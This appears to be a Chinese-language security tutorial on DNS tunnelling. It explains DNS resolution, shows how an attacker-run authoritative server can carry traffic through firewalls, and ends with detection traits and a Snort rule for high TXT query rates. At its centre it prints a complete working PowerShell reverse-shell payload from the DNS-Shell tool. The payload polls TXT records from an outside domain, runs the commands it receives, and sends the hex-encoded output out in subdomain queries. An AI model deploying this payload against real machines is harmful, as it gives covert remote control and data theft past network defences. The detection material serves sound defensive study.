DNS介绍

我们先简单介绍一下 DNS协议，DNS协议是一个应用层协议，用来将域名转换为IP地址（也可以将IP地址转换为相应的域名地址），类似一个分布式数据库，数据通过udp传输,IP报头中的协议字段值为17.

DNS协议报文格式

通过wireshark 抓到的包：

由于关于dns报文介绍太长，参考下面url 

DNS协议详解及报文格式分析

关于DNS请求的方式如图，具体可描述如下： 

1. 主机先向本地域名服务器进行递归查询

2. 本地域名服务器采用迭代查询，向一个根域名服务器进行查询

3. 根域名服务器告诉本地域名服务器，下一次应该查询的顶级域名服务器的IP地址

4. 本地域名服务器向顶级域名服务器进行查询

5. 顶级域名服务器告诉本地域名服务器，下一步查询权限服务器的IP地址

6. 本地域名服务器向权威服务器进行查询

7. 权限服务器告诉本地域名服务器所查询的主机的IP地址

8. 本地域名服务器最后把查询结果告诉主机 如果在企业内网，那么黑客的攻击机器，就是所谓的权威服务器

第一步: 受控机向内部dns服务器发送一个查询NKNFjklKLuJNVIUM.ml.org的请求

第二步：内部dns服务器通过防火墙向根dns服务器发出查询请求

第三步：经过大量迭代后，DNS请求到达NKNFjklKLuJNVIUM.ml.org的权威DNS服务器（黑客所控制）

第四步：受控机请求查询的响应通过防火墙返回到内部DNS服务器

第五步：内部DNS服务器将响应结果返回给受控机

上面的流程展示了一个受控机在连接外部网络时dns解析的一个过程。由于防火墙并没有对dns协议做任何处理，所以我们可以通过这种方式来穿透防火墙。

这里很多人会有一个疑问，关于dns 请求查询NKNFjklKLuJNVIUMvKL.ml.org 是怎么到达黑客所控制的权威DNS服务器的？

请求一个域名，比如NKNFjklKLuJNVIUMvKL.ml.org ,本地DNS服务器上没有 NKNFjklKLuJNVIUMvKL.ml.org，那么它将向root，也就是根域名服务器请求，看看根知道不, root一看是.org的域名，就交 给.org域名服务器进行解析，.org的域名服务器一看是.ml.org那么就会去找.ml.org的域名服务器 (ns1.myhostadmin.net),看看它有没有这条记录，.ml.org的域名服务器上一看是.ml.org，如果它有这 条A记录，那么就会返回NKNFjklKLuJNVIUMvKL.ml.org 的记录。

但是，如果没有，你可以再在ml.org的域名服务器上设定一个NS 类型的记录，如：ml.org NS 111.222.333.444(通常这里不让设置为地址，你可以先在DNS服务器上添加一条A记录，如ns.ml.org A 111.222.333.444，再添加NS记录：ml.org NS ns.xxx.org)，这里指定一个公网服务器，就是黑客所控制的权威DNS服务器。

测试

我们测试一下使用dns反弹shell，用于测试的域名： test.njcx.bid

该域名的dns服务器位于  ns1.njcx.bid（公网ip：111.222.333.444）

受控机Windows7 ：  172.16.42.134

控制机 CentOS7：  111.222.333.444

我们用到的工具
[DNS-Shell](https://github.com/sensepost/DNS-Shell)，我们在 CentOS7 上面执行  python DNS-shell.py -l -r test.njcx.bid ，接收由受控机过来的shell，执行后会生成一个 powershell的payload,保存为 ps1 Windows执行即可收到shell

$url = "test.njcx.bid";
function execDNS($cmd) {
$c = iex $cmd 2>&1 | Out-String;
$u = [system.Text.Encoding]::UTF8.GetBytes($c);
$string = [System.BitConverter]::ToString($u);
$string = $string -replace '-','';
$len = $string.Length;
$split = 50;
$repeat=[Math]::Floor($len/$split);
$remainder=$len%$split;
if($remainder){ $repeatr = $repeat+1};
$rnd = Get-Random;$ur = $rnd.toString()+".CMDC"+$repeatr.ToString()+"."+$url;
$q = nslookup -querytype=A $ur;
for($i=0;$i-lt$repeat;$i++){
    $str = $string.Substring($i*$Split,$Split);
    $rnd = Get-Random;$ur1 = $rnd.toString()+".CMD"+$i.ToString()+"."+$str+"."+$url;
    $q = nslookup -querytype=A $ur1;
};
if($remainder){
    $str = $string.Substring($len-$remainder);
    $i = $i +1
    $rnd = Get-Random;$ur2 = $rnd.toString()+".CMD"+$i.ToString()+"."+$str+"."+$url;
    $q = nslookup -querytype=A $ur2;
};
$rnd=Get-Random;$s=$rnd.ToString()+".END."+$url;$q = nslookup -querytype=A $s;
};
while (1){
   $c = Get-Random;
   Start-Sleep -s 3
   $u=$c.ToString()+"."+$url;$txt = nslookup -querytype=TXT $u | Out-String
   $txt = $txt.split("`n") | %{$_.split('"')[1]} | Out-String
   if ($txt -match 'NoCMD'){continue}
   elseif ($txt -match 'exit'){Exit}
   else{execDNS($txt)}
}   

shell 如下，

我在被控机上抓包，如图，可以看出受控机器一直TXT请求 CentOS 控制机

可以看出我们的payload是 放到TXT字段里面，由CentOS 控制机响应给客户端的

然后，数据都分段放到子域名里面，分多次，再次用请求的方式，发送到我们的控制机器上了

检测

我们可以看出一些特征 ：

1， 请求的Type一般都是TXT（为了返回的时候能够加入更多的信息）。

2， payload部分一般都会编码（可能为base64、2进制或16进制）后放到子域名里面，而且多变，不一致

3， DNS发生频率很高，短时间为了发送大量数据，会产生大量请求

比如，DNS  TXT请求频率过高，就报警，例子如下

alert udp any any -> any 53 (msg:"High TXT requests - Potential DNS Tunneling"; content:"|01 00|"; offset:2; within :4; content:"|00 00 10 00 01|"; offset:12; within:255; threshold: type threshold, track by_src, count 10, seconds 5; sid: 5700002; rev: 1;)
